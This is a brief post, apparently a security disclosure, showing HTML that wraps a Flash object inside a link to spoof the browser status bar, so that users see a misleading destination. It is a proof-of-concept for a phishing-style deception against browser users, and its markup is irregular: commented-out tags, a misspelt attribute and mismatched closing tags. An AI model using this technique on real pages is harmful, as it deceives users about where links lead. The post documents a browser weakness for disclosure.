Here is another way of spoofing the status bar:
<a> tag + <object> tag
<!--A HREF=http://www.yahoo.com><!--OBJECT
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="300" HEIGHT="50" id="link" ALIGN="">
<PARAM NAME=movie VALUE="link.swf"> <PARAM NAME=quality VALUE=high > <PARAM
NAME=bgcolor VALUE=#FFFFFF> <PARAM NAME=menu
VALU=FALSE>
<EMBED src="link.swf" quality=high bgcolor=#FFFFFF WIDTH="300"
HEIGHT="50" NAME="link" ALIGN=""
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED>
</a></OBJECT></a>
